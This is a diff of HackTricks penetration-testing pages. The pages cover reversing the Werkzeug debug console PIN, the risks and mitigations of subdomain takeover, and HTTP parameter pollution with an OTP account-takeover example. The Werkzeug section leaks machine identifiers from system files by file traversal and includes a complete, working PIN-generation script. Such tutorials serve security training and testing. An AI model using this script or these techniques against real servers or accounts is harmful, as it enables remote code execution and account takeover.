||||
```
|
||||
The console is locked and needs to be unlocked by entering the PIN.
|
||||
|
@ -47,54 +46,32 @@ You can find the PIN printed out on the standard output of your
|
|||
shell that runs the server
|
||||
```
|
||||
|
||||
Locate vulnerable Werkzeug debug console at path `vulnerable-site.com/console`, but is locked by secret PIN number.
|
||||
A message regarding the "console locked" scenario is encountered when attempting to access Werkzeug's debug interface, indicating a requirement for a PIN to unlock the console. The suggestion is made to exploit the console PIN by analyzing the PIN generation algorithm in Werkzeug’s debug initialization file (`__init__.py`). The PIN generation mechanism can be studied from the [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies.
|
||||
|
||||
You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. You can view [**Werkzeug source code repo**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **to check how the PIN is generated**, but better to leak source code through **file traversal vulnerability** since versions likely differ.
|
||||
|
||||
Variables needed to exploit the console PIN:
|
||||
|
||||
```python
|
||||
probably_public_bits = [
|
||||
username,
|
||||
modname,
|
||||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||||
getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
str(uuid.getnode()),
|
||||
get_machine_id(),
|
||||
]
|
||||
```
|
||||
To exploit the console PIN, two sets of variables, `probably_public_bits` and `private_bits`, are needed:
|
||||
|
||||
#### **`probably_public_bits`**
|
||||
- **`username`**: Refers to the user who initiated the Flask session.
|
||||
- **`modname`**: Typically designated as `flask.app`.
|
||||
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generally resolves to **Flask**.
|
||||
- **`getattr(mod, '__file__', None)`**: Represents the full path to `app.py` within the Flask directory (e.g., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` is not applicable, **try `app.pyc`**.
|
||||
|
||||
* **`username`** is the user who started this Flask
|
||||
* **`modname`** is flask.app
|
||||
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` is **Flask**
|
||||
* `getattr(mod, '__file__', None)` is the **absolute path of `app.py`** in the flask directory (e.g. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` doesn't work, **try `app.pyc`**
|
||||
|
||||
#### `private_bits`
|
||||
|
||||
* `uuid.getnode()` is the **MAC address of the current computer**, `str(uuid.getnode())` is the decimal expression of the mac address.
|
||||
|
||||
* To **find server MAC address**, need to know which **network interface is being used** to serve the app (e.g. `ens3`). If unknown, **leak `/proc/net/arp`** for device ID and then **leak** MAC address at **`/sys/class/net/<device id>/address`**.
|
||||
|
||||
Convert **from hex address to decimal** representation by running in python e.g.:
|
||||
|
||||
#### **`private_bits`**
|
||||
- **`uuid.getnode()`**: Fetches the MAC address of the current machine, with `str(uuid.getnode())` translating it into a decimal format.
|
||||
- To **determine the server's MAC address**, one must identify the active network interface used by the app (e.g., `ens3`). In cases of uncertainty, **leak `/proc/net/arp`** to find the device ID, then **extract the MAC address** from **`/sys/class/net/<device id>/address`**.
|
||||
- Conversion of a hexadecimal MAC address to decimal can be performed as shown below:
|
||||
```python
|
||||
# It was 56:00:02:7a:23:ac
|
||||
# Example MAC address: 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
* `get_machine_id()` concatenate the **values in `/etc/machine-id`** or **`/proc/sys/kernel/random/boot_id`** with the **first line of `/proc/self/cgroup`** after the last slash (`/`).
|
||||
- **`get_machine_id()`**: Concatenates data from `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` with the first line of `/proc/self/cgroup` post the last slash (`/`).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>get_machine_id() code</summary>
|
||||
<summary>Code for `get_machine_id()`</summary>
|
||||
|
||||
```python
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
global _machine_id
|
||||
|
||||
if _machine_id is not None:
|
||||
|
@ -104,7 +81,7 @@ def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
|||
linux = b""
|
||||
|
||||
# machine-id is stable across boots, boot_id is not.
|
||||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||||
try:
|
||||
with open(filename, "rb") as f:
|
||||
value = f.readline().strip()
|
||||
|
@ -133,24 +110,26 @@ def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
|||
|
||||
</details>
|
||||
|
||||
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
|
||||
Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN:
|
||||
|
||||
Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembled `probably_public_bits` and `private_bits` to create a hash, which then undergoes further processing to produce the final PIN. Below is the Python code for executing this process:
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
probably_public_bits = [
|
||||
'web3_user',# username
|
||||
'flask.app',# modname
|
||||
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||||
'web3_user', # username
|
||||
'flask.app', # modname
|
||||
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
|
||||
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
|
||||
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
||||
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
||||
]
|
||||
|
||||
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||||
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||||
h = hashlib.sha1()
|
||||
for bit in chain(probably_public_bits, private_bits):
|
||||
if not bit:
|
||||
|
@ -159,7 +138,7 @@ for bit in chain(probably_public_bits, private_bits):
|
|||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
h.update(b'cookiesalt')
|
||||
#h.update(b'shittysalt')
|
||||
# h.update(b'shittysalt')
|
||||
|
||||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||||
|
||||
|
@ -168,7 +147,7 @@ if num is None:
|
|||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
|
||||
rv =None
|
||||
rv = None
|
||||
if rv is None:
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
|
@ -181,6 +160,9 @@ if rv is None:
|
|||
print(rv)
|
||||
```
|
||||
|
||||
This script produces the PIN by hashing the concatenated bits, adding specific salts (`cookiesalt` and `pinsalt`), and formatting the output. It's important to note that the actual values for `probably_public_bits` and `private_bits` need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of sha1.
|
||||
{% endhint %}
|
||||
|
|
|
@ -62,128 +62,34 @@ However, if instead of pointing to an IP address, the sysadmin point it to a **t
|
|||
|
||||
You can find an example of this vulnerability in the CTF write-up: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
|
||||
## Exploiting a Subdomain takeover
|
||||
## Exploiting a subdomain takeover
|
||||
|
||||
**This information was copied from** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/)
|
||||
Subdomain takeover is essentially DNS spoofing for a specific domain across the internet, allowing attackers to set A records for a domain, leading browsers to display content from the attacker's server. This **transparency** in browsers makes domains prone to phishing. Attackers may employ [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) or [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) for this purpose. Especially vulnerable are domains where the URL in a phishing email appears legitimate, deceiving users and evading spam filters due to the domain's inherent trust.
|
||||
|
||||
Recently, I [wrote](https://0xpatrik.com/subdomain-takeover-basics/) about subdomain takeover basics. Although the concept is now generally well-understood, I noticed that people usually struggle to grasp the risks that subdomain takeover brings to the table. In this post, I go in-depth and cover the most notable risks of _subdomain takeover_ from my perspective.
|
||||
Check this [post for further details](https://0xpatrik.com/subdomain-takeover/)
|
||||
|
||||
_Note: Some risks are mitigated implicitly by the cloud provider. For instance, when subdomain takeover is possible on Amazon CloudFront, there is no way you can set up TXT records to bypass SPF checks. The post, therefore, aims to provide risks on general subdomain takeover. Nevertheless, most of these apply to cloud providers as well._
|
||||
### **SSL Certificates**
|
||||
SSL certificates, if generated by attackers via services like [_Let's Encrypt_](https://letsencrypt.org/), add to the legitimacy of these fake domains, making phishing attacks more convincing.
|
||||
|
||||
### Transparency To a Browser <a href="#transparencytoabrowser" id="transparencytoabrowser"></a>
|
||||
### **Cookie Security and Browser Transparency**
|
||||
Browser transparency also extends to cookie security, governed by policies like the [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). Cookies, often used to manage sessions and store login tokens, can be exploited through subdomain takeover. Attackers can **gather session cookies** simply by directing users to a compromised subdomain, endangering user data and privacy.
|
||||
|
||||
To start off, let's look at DNS resolution where CNAME is involved:
|
||||
### **Emails and Subdomain Takeover**
|
||||
Another aspect of subdomain takeover involves email services. Attackers can manipulate **MX records** to receive or send emails from a legitimate subdomain, enhancing the efficacy of phishing attacks.
|
||||
|
||||
![DNS resolution](https://0xpatrik.com/content/images/2018/05/resolution-2.png)
|
||||
### **Higher Order Risks**
|
||||
Further risks include **NS record takeover**. If an attacker gains control over one NS record of a domain, they can potentially direct a portion of traffic to a server under their control. This risk is amplified if the attacker sets a high **TTL (Time to Live)** for DNS records, prolonging the duration of the attack.
|
||||
|
||||
Note that step #7 requests _sub.example.com_ rather than _anotherdomain.com_. That is because the web browser is not aware that _anotherdomain.com_ even exist. Even though CNAME record is used, the URL bar in the browser still contains _sub.example.com_. This is the **transparency** for the browser. If you think about that, the browser places all the trust in the DNS resolver to provide accurate information about the domain. Simplified, subdomain takeover is a DNS spoofing for one particular domain across the Internet. Why? Because any browser performing the DNS resolution on affected domain receives A record set by an attacker. The browser then happily shows whatever is received from this server (thinking that is legitimate).
|
||||
### **Mitigation Strategies**
|
||||
Mitigation strategies include:
|
||||
1. **Removing vulnerable DNS records** - This is effective if the subdomain is no longer required.
|
||||
2. **Claiming the domain name** - Registering the resource with the respective cloud provider or repurchasing an expired domain.
|
||||
3. **Regular monitoring for vulnerabilities** - Tools like [aquatone](https://github.com/michenriksen/aquatone) can help identify susceptible domains. Organizations should also revise their infrastructure management processes, ensuring that DNS record creation is the final step in resource creation and the first step in resource destruction.
|
||||
|
||||
Such a domain makes a perfect scenario for phishing. Attackers are often using [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) or so-called [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) to mimic the legitimate domain/website for phishing purposes. After an attacker takes over some legitimate domain name, it is almost impossible for a regular user to tell whether the content on the domain is provided by a legitimate party or an attacker. Let's take for instance a random bank. If one of the bank's subdomains is vulnerable to subdomain takeover, an attacker can create an HTML form which mimics the login form to the bank's internet banking system. Then, an attacker can run spear phishing or mass phishing campaign asking users to log in to and change their passwords. At this stage, the passwords are captured by an attacker who is in control of the domain in question. The URL provided in the phishing e-mail is a legitimate subdomain of a bank. Therefore users are not aware of something malicious going on. Spam filters and other security measurements are also less likely to trigger the e-mail as spam or malicious because it contains domain names with higher trust.
|
||||
For cloud providers, verifying domain ownership is crucial to prevent subdomain takeovers. Some, like [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/), have recognized this issue and implemented domain verification mechanisms.
|
||||
|
||||
Indeed, the domain name itself place a significant role in a successful campaign. Having 5th level subdomain vulnerable to subdomain takeover is much less _"legit"_ that having a 2nd level subdomain with some friendly subdomain name. I saw several instances of perfect subdomains for phishing, including:
|
||||
|
||||
* _purchases.SOMETHING.com_
|
||||
* _www.SOMETHING.com_
|
||||
* _online.SOMETHING.com_
|
||||
* _shop.SOMETHING.com_
|
||||
|
||||
All of them vulnerable to subdomain takeover. All of them were big brands. Talking about perfect phishing?
|
||||
|
||||
Nevertheless, recent phishing campaigns host content on domains with long domain names that include name of the brand (see [Apple example](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)). Having valid SSL certificate (more on that below), keyword in domain name and website which mimics the website of targeted brand, people tend to fall into these attacks. Think about chances with a legitimate subdomain of this brand.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### SSL Certificates <a href="#sslcertificates" id="sslcertificates"></a>
|
||||
|
||||
The attack above can be enhanced by generating a valid SSL certificate. Certificate authorities such as [_Let's Encrypt_](https://letsencrypt.org/) allow automatic verification of domain ownership by content verification:
|
||||
|
||||
![Let's Encrypt Flow](https://0xpatrik.com/content/images/2018/05/letsencrypt.png)
|
||||
|
||||
That is, if there is a specific content placed on a specific URL path, Let's Encrypt will approve the issuance of a certificate for a given domain. Since an attacker has full control over the content of the domain which is vulnerable to subdomain takeover, this verification can be done in a matter of minutes. Therefore attackers are also able to generate SSL certificate for such domain which only lowers the suspicion of a phishing attack.
|
||||
|
||||
### Cookie Stealing <a href="#cookiestealing" id="cookiestealing"></a>
|
||||
|
||||
This goes hand-in-hand with browser transparency but has different consequences. Web browser implements many security policies to prevent malicious websites from causing harm. This includes things such as [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin\_policy). One of the primary security responsibilities of a browser is to secure saved cookies. Why? While HTTP is a stateless protocol, cookies are used to track sessions. For convenience, users often save cookies for an extended period to prevent logging in every single time. These cookies, therefore, act as a login token which is presented to the web server and the user is identified. Attacks such as [_Session hijacking_](https://en.wikipedia.org/wiki/Session\_hijacking) naturally evolved from this concept.
|
||||
|
||||
The browser automatically presents stored to cookies with every request to the domain that issued them. There is an exception to that such that cookies might be shared across subdomains ([read here](https://tools.ietf.org/html/rfc6265#section-8.6), also notice section 8.7). It usually happens when the website uses cookie-based [Single sign-on](https://en.wikipedia.org/wiki/Single\_sign-on) (SSO) system. Using SSO, a user can log in using one subdomain and share the same session token across a wide range of subdomains. The syntax for setting a regular cookie is the following:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value
|
||||
```
|
||||
|
||||
If this cookie is issued by web server residing on _example.com_, only this server can access this cookie later on. However, the cookie can be issued for wildcard domain (for the reasons explained above) in the following manner:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value; domain=example.com
|
||||
```
|
||||
|
||||
The cookie will be included in HTTP requests to _example.com_ but also to any other subdomain such as _subdomain.example.com_. This behavior creates a possibility of high severity attacks using subdomain takeover. Suppose that some particular domain is using session cookies for wildcard domain. If there is one subdomain vulnerable to subdomain takeover, the only thing for gathering user’s session token is to trick him or her into visiting the vulnerable subdomain. The session cookie is automatically sent with the HTTP request.
|
||||
|
||||
The browser also implements additional security mechanisms for cookies:
|
||||
|
||||
* **HttpOnly cookie** — Cookies can by default be accessed by Javascript code running in the context of the website which created the cookies. Javascript can read, update, and delete the cookies. _HttpOnly_ cookie flag (set by the web server) indicates that the particular cookie cannot be accessed by Javascript code. The only way to get it is through HTTP request and response headers.
|
||||
* **Secure cookie** — When the cookie has the _Secure_ flag set by the web server, it can be communicated back to the web server only if HTTPS is used.
|
||||
|
||||
If the domain is vulnerable to subdomain takeover, an attacker can gather cookies issued by that domain in the past just by tricking users into visiting that website. HttpOnly and Secure flags don't help since the cookie is not being accessed using Javascript and SSL certificate can be easily generated for the taken domain.
|
||||
|
||||
Cookie stealing using takeover was explained in bug bounty [report](https://hackerone.com/reports/172137) by Arne Swinnen. The report explains the problem with one of the _Ubiquiti Networks_ subdomains (_ping.ubnt.com_). This subdomain was vulnerable to subdomain takeover, pointing to unclaimed AWS CloudFront distribution. Since Ubiquiti Networks is using SSO with wildcard session cookies, all users visiting _ping.ubnt.com_ could have their session cookies stolen. Even though this domain is pointing to AWS CloudFront, CloudFront distribution settings allow logging cookies with each request. Therefore the scenario with extracting session cookies is entirely possible even with subdomains pointing to AWS CloudFront. In 2017, Arne also demonstrated similar attack vector against [Uber's SSO system](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
|
||||
|
||||
The behavior explained above is not limited to cookies. Since Javascript scripts have full control over the websites, they are run on, having ability to replace such scripts on the legitimate website might lead to catastrophic consequences. Suppose that website is using Javascript code from the external provider using _script_ tag and _src_ attribute. When the domain of external provider expires, the browser fails silently, i.e., it doesn't trigger any alerts visible to regular users. If the external code is not doing any important stuff (e.g., it is used only for tracking) such external provider might stay on the website for an extended period. An attacker can take over this expired domain, match the URL path of provided Javascript code and thus gain control over every visitor that visits the original website.
|
||||
|
||||
There is, however, one way of protecting the integrity of Javascript files in a browser. _Subresource Integrity_ [was proposed](https://www.w3.org/TR/2016/REC-SRI-20160623/) as a mechanism to include cryptographic hash as an attribute _integrity_ to _script_ tag in HTML5. When the provided cryptographic hash does not match the download file, the browser refuses to execute it.
|
||||
|
||||
### E-mails <a href="#emails" id="emails"></a>
|
||||
|
||||
When CNAME subdomain takeover is possible, MX records can be set up by an attacker to an arbitrary web server as well. It allows receiving e-mails to a legitimate subdomain of some brand - particularly useful again in (spear) phishing attacks where interaction between an attacker and victim is necessary. Attackers usually spoof `Return-Path` header to receive a reply to the e-mail. With correct MX records, this problem is bypassed.
|
||||
|
||||
On the other side, sending e-mails is also possible. Although it is trivial to spoof `From` header to include any e-mail addresses, SPF filters are usually checking `Return-Path` header and allowed mail-sending hosts for the domain. SPF stores configuration in DNS TXT records. With subdomain takeover, TXT records are in control of attacker too - SPF checks can be passed easily.
|
||||
|
||||
_As I noted in the beginning, these tactics usually don't work with majority of cloud providers since you don't have control over DNS zone directly._
|
||||
|
||||
### Higher Order Risks <a href="#higherorderrisks" id="higherorderrisks"></a>
|
||||
|
||||
The concept of subdomain takeover can be naturally extended to NS records: If the base domain of at least one NS record is available for registration, the source domain name is vulnerable to subdomain takeover.
|
||||
|
||||
One of the problems in subdomain takeover using NS record is that the source domain name usually has multiple NS records. Multiple NS records are used for redundancy and load balancing. The nameserver is chosen randomly before DNS resolution. Suppose that the domain _sub.example.com_ has two NS records: _ns.vulnerable.com_ and _ns.nonvulnerable.com_. If an attacker takes over the _ns.vulnerable.com_, the situation from perspective of the user who queries _sub.example.com_ looks as follows:
|
||||
|
||||
1. Since there are two nameservers, one is randomly chosen. This means the probability of querying nameserver controlled by an attacker is 50%.
|
||||
2. If user's DNS resolver chooses _ns.nonvulnerable.com_ (legitimate nameserver), the correct result is returned and likely being cached somewhere between 6 and 24 hours.
|
||||
3. If user's DNS resolver chooses _ns.vulnerable.com_ (nameserver owned by an attacker), an attacker might provide a fake result which will also be cached. Since an attacker is in control of nameserver, she can set TTL for this particular result to be for example one week.
|
||||
|
||||
The process above is repeated every time the cache entry expires. When an attacker chooses to use TTL with high value, the fake result will stay in DNS cache for that period. During this time, all requests to _sub.example.com_ will use fake DNS result cached by an attacker. This idea is even amplified when public DNS resolvers (e.g., Google DNS) are used. In this case, public resolvers are likely to cache the fake results which means that all users using the same DNS resolver will obtain fake results until the cache is revoked.
|
||||
|
||||
In addition to control over the source domain name, control over all higher-level domains of source domain name is gained as well. That is because owning a canonical domain name of NS record means owning the full DNS zone of the source domain name.
|
||||
|
||||
In 2016, Matthew Bryant [demonstrated](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) a subdomain takeover using NS record on _maris.int_. The .INT top-level domain is a special TLD, and the only handful of domains are using it. Bryant showed that even though registration of such domain names is approved exclusively by IANA, nameservers can be set to arbitrary domains. Since one of _maris.int_ nameservers was available for registration (_cobalt.aliis.be_), subdomain takeover was possible even on this restricted TLD.
|
||||
|
||||
Matthew also [demonstrated](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) even higher severity attack where he was able to gain control over nameserver of .IO top-level domain. Gaining control over .IO means controlling responses for all .IO domain names. In this case, one of .IO nameservers were _ns-a1.io_ which was available for registration. By registering _ns-a1.io_ Bryant was able to receive DNS queries and control their responses for all .IO domains.
|
||||
|
||||
### Mitigation <a href="#mitigation" id="mitigation"></a>
|
||||
|
||||
The mitigation strategies for domain names already vulnerable to subdomain takeover are rather straightforward:
|
||||
|
||||
* **Remove the affected DNS record** — The simplest solution is to remove the affected record from the DNS zone. This step is usually used if the organization concludes that the affected source domain name is no longer needed.
|
||||
* **Claim the domain name** — This means registering the resource in particular cloud provider or a case of a regular Internet domain, repurchasing the expired domain.
|
||||
|
||||
To prevent subdomain takeover in the future, organizations should change the process of creating and destructing resources in their infrastructure. In case of resource creation, the DNS record creation has to be the _last step_ of this process. This condition prevents DNS record to be pointing to a non-existing domain at any point in time. For resource destruction, the opposite holds: DNS record needs to be removed as the _first step_ in this process. Tools such as [aquatone](https://github.com/michenriksen/aquatone) include checks for subdomain takeover. The checks should be periodically performed by a security team of an organization to verify that there are no vulnerable domains. Processes for central collection of exposed domain names are often not efficient inside organizations (due to global teams, etc.) and external monitoring is usually the best way to go.
|
||||
|
||||
Mitigation strategy for cloud providers should be considered as well. Cloud services are not verifying the domain ownership. The reason behind this is primarily convenience. Cloud provider is not introducing any vulnerability by not verifying ownership of a source domain name. It is therefore up to the user to monitor its DNS records. Another reason is, that when cloud resource is removed, the user is usually no longer a customer of that service. The question cloud providers then ask themselves is: Why should we even care?
|
||||
|
||||
Providers such as [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) realized that subdomain takeover is an issue and implemented a domain verification mechanism.
|
||||
|
||||
_Some parts of this post are excerpts from my_ [_Master's Thesis_](https://is.muni.cz/th/byrdn/Thesis.pdf).
|
||||
|
||||
Until next time!
|
||||
|
||||
[Patrik](https://twitter.com/0xpatrik)
|
||||
# References
|
||||
* [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -483,7 +483,7 @@ def handleResponse(req, interesting):
|
|||
|
||||
## More info
|
||||
|
||||
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
[Image from here.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
|
||||
|
||||
|
|
|
@ -14,64 +14,48 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Copied from** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
# HTTP Parameter Pollution (HPP) Overview
|
||||
|
||||
**Summary :**
|
||||
HTTP Parameter Pollution (HPP) is an attack technique involving the manipulation of HTTP parameters to alter a web application's expected behavior. This kind of attack is relatively straightforward but can be remarkably effective. Although the parameter manipulation occurs server-side and is not visible to the user, the resulting behavior changes can be observed on the client side.
|
||||
|
||||
HTTP Parameter Pollution (HPP) means to pollute the HTTP parameters of a web application for achieving a specific malicious task. It refers to manipulating how a website treats parameters it receives during HTTP requests. It changes a website’s behaviour from its intended one. HTTP\
|
||||
parameter pollution is a simple kind of attack but it is an effective one.
|
||||
##Example of HTTP Parameter Pollution (HPP)
|
||||
|
||||
When you pollute any parameter the code runs only on the server-side which is invisible to use, but we can see the results on our screen. The process in between is a black box.
|
||||
Consider a standard transaction URL for a banking application:
|
||||
|
||||
For example, there is a URL https://www.anybank.com/send which has three parameters :
|
||||
**URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
1. from :
|
||||
2. to :
|
||||
3. amount :
|
||||
This URL initiates a transaction of 10,000 from accountA to accountB. However, introducing another `from` parameter like so:
|
||||
|
||||
**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000**
|
||||
**Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
Now this is a normal URL which will proceed a transaction of 10000 from accountA to accountB but what if we add another same parameter **“from :”**
|
||||
might result in the transaction being deducted from accountC instead of accountA. This exemplifies how HPP can be used to manipulate parameters. Notably, this vulnerability is not confined to GET requests but can also be exploited in POST requests across various functionalities such as password changes, 2FA, or API key transmissions.
|
||||
|
||||
So the URL will be like **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
|
||||
It's important to recognize that parameter parsing is dependent on the specific web technology in use. Tools like [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) can be used to identify web technologies and understand their parameter parsing behaviors.
|
||||
|
||||
When this URL will be proceed a transaction of 10000 it will be deducted from accountC rather than accountA. This is how you manipulate the parameters in **HTTP Parameter Pollution** attack. Although the scope of this vulnerability is not limited only to **GET** request you can also perform this attack on a **POST** based request. You can try this vulnerability on many places like password change, 2FA, comments, profile photo upload, on a parameter where API key is passed, OTP etc.
|
||||
## PHP
|
||||
|
||||
When you manipulate any parameter, it’s manipulation depends on how each web technology is parsing their parameters. You can identify web technologies using “[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)”. Below is the screenshot of some technologies and their parameter parsing.Technologies and their parameter parsing
|
||||
A notable instance of exploiting HPP involved the following steps:
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg)
|
||||
1. **OTP Manipulation:**
|
||||
- A login page requesting an OTP was the target.
|
||||
- After sending an OTP request, the subsequent HTTP request was intercepted using Burp Suite.
|
||||
- Another email was added to the request, effectively duplicating the `email` parameter.
|
||||
- The OTP intended for the first email was mistakenly sent to the second email, allowing unauthorized access to the first account.
|
||||
|
||||
I would like to share one of my finding of HPP where I was able to take over an account using this vulnerability.
|
||||
This incident underscores how the application backend processed the `email` parameters, utilizing the first for OTP generation and the second for OTP delivery.
|
||||
|
||||
**How I find this vulnerability ?**
|
||||
# Parameter Parsing in Flask & PHP
|
||||
|
||||
1. I went to a login page of that program, it asked for an OTP for login
|
||||
Different web technologies parse parameters uniquely. For instance, with a query like `a=1&a=2`, Flask and PHP will interpret the parameter differently:
|
||||
|
||||
Send OTP
|
||||
- **Flask:** Takes the first occurrence (a=1).
|
||||
- **PHP (on Apache HTTP Server):** Takes the last occurrence (a=2).
|
||||
|
||||
![Image for post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg)
|
||||
This difference in parameter handling can significantly impact application behavior and vulnerability to HPP attacks. More details on this can be found in [this writeup](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution).
|
||||
|
||||
2\. I typed an email and clicked on “Send One Time Password”
|
||||
|
||||
3\. I intercepted the request using burp suite and added another email by using same parameter (I created two emails for testing purpose)Burp Request
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
|
||||
|
||||
4\. I received an OTP of shrey……@gmail.com to my another account radhika…..@gmail.com OTP
|
||||
|
||||
![Image for post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
|
||||
|
||||
5\. I copied the OTP and went to shrey….@gmail.com on that program’s login screen, I entered this OTP and I was in the account.Account Take Over
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
|
||||
|
||||
So what happened here is the back-end application took the value of first “**email**” parameter to generate an OTP and used the value of second “**email**” parameter to supply the value, which means an OTP of shrey….@gmail.com was sent to radhika….@gmail.com.
|
||||
|
||||
**NOTE :** Here in an image on 4th step where I received an OTP to radhika….@gmail.com I was confused because the message said Hi Radhika, so I thought that the parameter is not polluted and the OTP was for radhika….@gmail.com but when I tried the OTP on shrey….@gmail.com it worked.
|
||||
|
||||
## Flask & PHP
|
||||
|
||||
